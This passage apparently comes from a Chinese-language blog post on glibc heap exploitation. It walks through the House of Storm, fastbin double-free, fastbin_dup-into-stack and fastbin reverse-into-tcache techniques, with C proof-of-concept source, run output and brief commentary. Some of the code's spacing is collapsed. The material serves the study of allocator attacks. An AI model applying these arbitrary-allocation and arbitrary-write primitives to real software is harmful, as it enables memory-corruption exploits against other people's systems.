size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount); if(alloc_size < 0x10){ printf("Chunk Size: 0x%lx\n", alloc_size); puts("Chunk size is too small"); exit(1); } alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits printf("In this case, the chunk size is 0x%lx\n", alloc_size);
// Checks to see if the program will crash or not /* The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438 validates to see if ONE of the following cases is true: - av == arena_for_chunk (mem2chunk (mem)) - chunk is mmaped If the 'non-main arena' bit is set on the chunk, then the first case will fail. If the mmap bit is set, then this will pass. So, either the arenas need to match up (our fake chunk is in the .bss section for this demo. So, clearly, this will not happen) OR the mmap bit must be set. The logic below validates that the fourth bit of the size is NOT set and that either the mmap bit is set or the non-main arena bit is NOT set. If this is the case, the exploit should work. */ if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){ puts("Allocation size has bit 4 of the size set or "); puts("mmap and non-main arena bit check will fail"); puts("Please try again! :)"); puts("Exiting..."); return1; }
// If the chunk would go into the TCache, we need to fill up // the TCache in order to prevent TCache stashing from happening. if(alloc_size < 0x410){ puts("Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)"); puts("Done to prevent usage of TCache stashing");
// Fill up the TCache for the proper size for(int i = 0; i < 7; i++){ tcaches[i] = malloc(alloc_size); } for(int i = 0; i < 7; i++){ free(tcaches[i]); } } else{ puts("Not filling up the TCache"); }
// FIFO free ( large_bin ); // put small chunks first free ( unsorted_bin );
// Put the 'large bin' chunk into the large bin unsorted_bin = malloc(0x4e8); free(unsorted_bin);
/* At this point, there is a single chunk in the large bin and a single chunk in the unsorted bin. It should be noted that the unsorted bin chunk should be LARGER in size than the large bin chunk but should still be within the same bin. In this setup, the large_bin has a chunk of size 0x4e0 and the unsorted bin has a chunk of size 0x4f0. This technique relies on the unsorted bin chunk being added to the same bin but a larger chunk size. So, careful heap feng shui must be done. */
// The address that we want to write to! fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"); /* The address of our fake chunk is set to the unsorted bin chunks 'bk' pointer. This launches the 'unsorted_bin' attack but it is NOT the main purpose of us doing this. After launching the 'unsorted_bin attack' the 'victim' pointer will be set to THIS address. Our goal is to find a way to get this address from the allocator. Vulnerability!! */ ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address. (( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location"); puts("of your fake chunk."); puts("Misalign the location in order to use the primitive as a SIZE value."); puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2)."); puts("Vulnerability #2!"); puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at."); /* This can be seen as a WRITE-WHERE primitive in the large bin. However, we are going to write a 'size' for our fake chunk using this. So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579 to an address for our fake size. The write above (bk_nextsize) is controlled via the pointer we are going to overwrite below. The value that gets written is a heap address; the unsorted bin chunk address above. The 'key' to this is the offset. First, we subtract 0x18 because this is the offset to writting to fd_nextsize in the code shown above. Secondly, notice the -2 below. We are going to write a 'heap address' at a mis-aligned location and use THIS as the size. For instance, if the heap address is 0x123456 and the pointer is set to 0x60006. This will write the following way: - 0x60006: 0x56 - 0x60007: 0x34 - 0x60008: 0x12 Now, our 'fake size' is at 0x60008 and is a valid size for the fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk from the allocator. Second vulnerability!!! // The shift amount is used in order to calculate the proper offset to write the chunk size at, depending on the size of the pointer. This depends on the size of the pointer. */ (( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/* At this point, we've corrupted everything in just the right way so this should work. The purpose of the attack is to have a corrupted 'bk' pointer point to ANYWHERE we want and still get the memory back. We do this by using the large bin code to write a size to the 'bk' location. This call to calloc, will return a pointer to the fake chunk that we created above. */
puts("Make allocation of the size that the value will be written for."); puts("Once the allocation happens, the madness begins"); puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to "); puts("write a fake 'size' value to the location of our target."); puts("After this, the target will have a valid size."); puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"); puts("size and remove it from the bin."); puts("With this, we have pulled out an arbitrary chunk!");
puts("Make a call to 'calloc' instead of 'malloc' in order to "); puts("not use the TCache on the allocation. Had to fill TCache"); puts("because stashing would prevent the exploit from working");
// Arena_for_chunk macro may cause this to crash as well // https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438 ptr = calloc(alloc_size, 1); strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1); printf("String after %s\n", target); printf("Fake chunk ptr: %p\n", ptr);
return0; }
house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先malloc一个0x4e8,检查该chunk的地址最高非0位的值x,首先判断x是否小于0x10,x小于0x10不行,然后判断x的最低4位,3必须是0,2为1时1不能为0。总体的和2.23的一样,这里不再多说了包括largebin的应用上面都说了比较详细了。
House of Storm ====================================== Preparing chunks for the exploit Put one chunk into unsorted bin and the other into the large bin The unsorted bin chunk MUST be larger than the large bin chunk. Find the proper chunk size to allocate. Must be exactly the size of the written chunk from above. Shift Amount: 2 In this case, the chunk size is 0x30 Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410) Done to prevent usage of TCache stashing Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location. This is our target location to get from the allocator Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location of your fake chunk. Misalign the location in order to use the primitive as a SIZE value. The 'offset' changes depending on if the binary is PIE (5) or not PIE (2). Vulnerability #2! Overwrite large bins bk->nextsize with the address to put our fake chunk size at. Make allocation of the size that the value will be written for. Once the allocation happens, the madness begins Once in the unsorted bin, the 'large bin' chunk will be used in orer to write a fake 'size' value to the location of our target. After this, the target will have a valid size. Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid size and remove it from the bin. With this, we have pulled out an arbitrary chunk! String before: String pointer: 0x404100 Make a call to 'calloc' instead of 'malloc' in order to not use the TCache on the allocation. Had to fill TCache because stashing would prevent the exploit from working String after ABCDEFG Fake chunk ptr: 0x404100
printf("Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); a = calloc(1, 8); b = calloc(1, 8); c = calloc(1, 8); printf("1st calloc(1, 8): %p\n", a); printf("2nd calloc(1, 8): %p\n", b); printf("3rd calloc(1, 8): %p\n", c);
assert(a == c); }
和2.27一样的不多说了
运行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14
This file demonstrates a simple double-free attack with fastbins. Fill up tcache first. Allocating 3 buffers. 1st calloc(1, 8): 0x55555555b3a0 2nd calloc(1, 8): 0x55555555b3c0 3rd calloc(1, 8): 0x55555555b3e0 Freeing the first one... If we free 0x55555555b3a0 again, things will crash because 0x55555555b3a0 is at the top of the freelist. So, instead, we'll free 0x55555555b3c0. Now, we can free 0x55555555b3a0 again, since it's not the head of the freelist. Now the freelist has [ 0x55555555b3a0, 0x55555555b3c0, 0x55555555b3a0 ]. If we malloc 3 times, we'll get 0x55555555b3a0 twice! 1st calloc(1, 8): 0x55555555b3a0 2nd calloc(1, 8): 0x55555555b3c0 3rd calloc(1, 8): 0x55555555b3a0
intmain() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); }
unsignedlonglong stack_var;
fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = calloc(1,8); int *b = calloc(1,8); int *c = calloc(1,8);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsignedlonglong *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d); fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that calloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); /*VULNERABILITY*/ *d = (unsignedlonglong) (((char*)&stack_var) - sizeof(d)); /*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
This file extends on fastbin_dup.c by tricking calloc into returning a pointer to a controlled location(in this case, the stack). Fill up tcache first. The address we want calloc() to return is 0x7fffffffdcb0. Allocating 3 buffers. 1st calloc(1,8): 0x55555555b380 2nd calloc(1,8): 0x55555555b3a0 3rd calloc(1,8): 0x55555555b3c0 Freeing the first one... If we free 0x55555555b380 again, things will crash because 0x55555555b380 is at the top of the freelist. So, instead, we'll free 0x55555555b3a0. Now, we can free 0x55555555b380 again, since it's not the head of the freelist. Now the freelist has [ 0x55555555b380, 0x55555555b3a0, 0x55555555b380 ]. We'll now carry out our attack by modifying data at 0x55555555b380. 1st calloc(1,8): 0x55555555b380 2nd calloc(1,8): 0x55555555b3a0 Now the freelist has [ 0x55555555b380 ]. Now, we have access to 0x55555555b380 while it remains at the head of the freelist. so now we are writing a fake freesize(in this case, 0x20) to the stack, so that calloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x55555555b380 to point right before the 0x20. 3rd calloc(1,8): 0x55555555b380, putting the stack address on the freelist 4th calloc(1,8): 0x7fffffffdcb0
printf( "\n" "This attack is intended to have a similar effect to the unsorted_bin_attack,\n" "except it works with a small allocation size (allocsize <= 0x78).\n" "The goal is to set things up so that a call to malloc(allocsize) will write\n" "a large unsigned value to the stack.\n\n" );
// Allocate 14 times so that we can free later. char* ptrs[14]; size_t i; for (i = 0; i < 14; i++) { ptrs[i] = malloc(allocsize); }
printf( "First we need to free(allocsize) at least 7 times to fill the tcache.\n" "(More than 7 times works fine too.)\n\n" );
// Fill the tcache. for (i = 0; i < 7; i++) { free(ptrs[i]); }
char* victim = ptrs[7]; printf( "The next pointer that we free is the chunk that we're going to corrupt: %p\n" "It doesn't matter if we corrupt it now or later. Because the tcache is\n" "already full, it will go in the fastbin.\n\n", victim ); free(victim);
printf( "Next we need to free between 1 and 6 more pointers. These will also go\n" "in the fastbin. If the stack address that we want to overwrite is not zero\n" "then we need to free exactly 6 more pointers, otherwise the attack will\n" "cause a segmentation fault. But if the value on the stack is zero then\n" "a single free is sufficient.\n\n" );
// Fill the fastbin. for (i = 8; i < 14; i++) { free(ptrs[i]); }
// Create an array on the stack and initialize it with garbage. size_t stack_var[6]; memset(stack_var, 0xcd, sizeof(stack_var));
printf( "The stack address that we intend to target: %p\n" "It's current value is %p\n", &stack_var[2], (char*)stack_var[2] );
printf( "Now we use a vulnerability such as a buffer overflow or a use-after-free\n" "to overwrite the next pointer at address %p\n\n", victim );
//------------VULNERABILITY-----------
// Overwrite linked list pointer in victim. *(size_t**)victim = &stack_var[0];
//------------------------------------
printf( "The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n" );
// Empty tcache. for (i = 0; i < 7; i++) { ptrs[i] = malloc(allocsize); }
printf( "Let's just print the contents of our array on the stack now,\n" "to show that it hasn't been modified yet.\n\n" );
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
printf( "\n" "The next allocation triggers the stack to be overwritten. The tcache\n" "is empty, but the fastbin isn't, so the next allocation comes from the\n" "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n" "Those 7 chunks are copied in reverse order into the tcache, so the stack\n" "address that we are targeting ends up being the first chunk in the tcache.\n" "It contains a pointer to the next chunk in the list, which is why a heap\n" "pointer is written to the stack.\n" "\n" "Earlier we said that the attack will also work if we free fewer than 6\n" "extra pointers to the fastbin, but only if the value on the stack is zero.\n" "That's because the value on the stack is treated as a next pointer in the\n" "linked list and it will trigger a crash if it isn't a valid pointer or null.\n" "\n" "The contents of our array on the stack now look like this:\n\n" );
malloc(allocsize);
for (i = 0; i < 6; i++) { printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]); }
char *q = malloc(allocsize); printf( "\n" "Finally, if we malloc one more time then we get the stack address back: %p\n", q );
This attack is intended to have a similar effect to the unsorted_bin_attack, except it works with a small allocation size(allocsize <= 0x78). The goal is to set things up so that a call to malloc(allocsize) will write a large unsigned value to the stack.
First we need to free(allocsize) at least 7 times to fill the tcache. (More than 7 times works fine too.)
The next pointer that we free is the chunk that we're going to corrupt: 0x55555555b4d0 It doesn't matter if we corrupt it now or later. Because the tcache is already full, it will go in the fastbin.
Next we need to free between 1 and 6 more pointers. These will also go in the fastbin. If the stack address that we want to overwrite is not zero then we need to free exactly 6 more pointers, otherwise the attack will cause a segmentation fault. But if the value on the stack is zero then a single free is sufficient.
The stack address that we intend to target: 0x7fffffffdc60 It's current value is 0xcdcdcdcdcdcdcdcd Now we use a vulnerability such as a buffer overflow or a use-after-free to overwrite the next pointer at address 0x55555555b4d0
The next step is to malloc(allocsize) 7 times to empty the tcache.
Let's just print the contents of our array on the stack now, to show that it hasn't been modified yet.
The next allocation triggers the stack to be overwritten. The tcache is empty, but the fastbin isn't, so the next allocation comes from the fastbin. Also, 7 chunks from the fastbin are used to refill the tcache. Those 7 chunks are copied in reverse order into the tcache, so the stack address that we are targeting ends up being the first chunk in the tcache. It contains a pointer to the next chunk in the list, which is why a heap pointer is written to the stack.
Earlier we said that the attack will also work if we free fewer than 6 extra pointers to the fastbin, but only if the value on the stack is zero. That's because the value on the stack is treated as a next pointer in the linked list and it will trigger a crash if it isn't a valid pointer or null.
The contents of our array on the stack now look like this: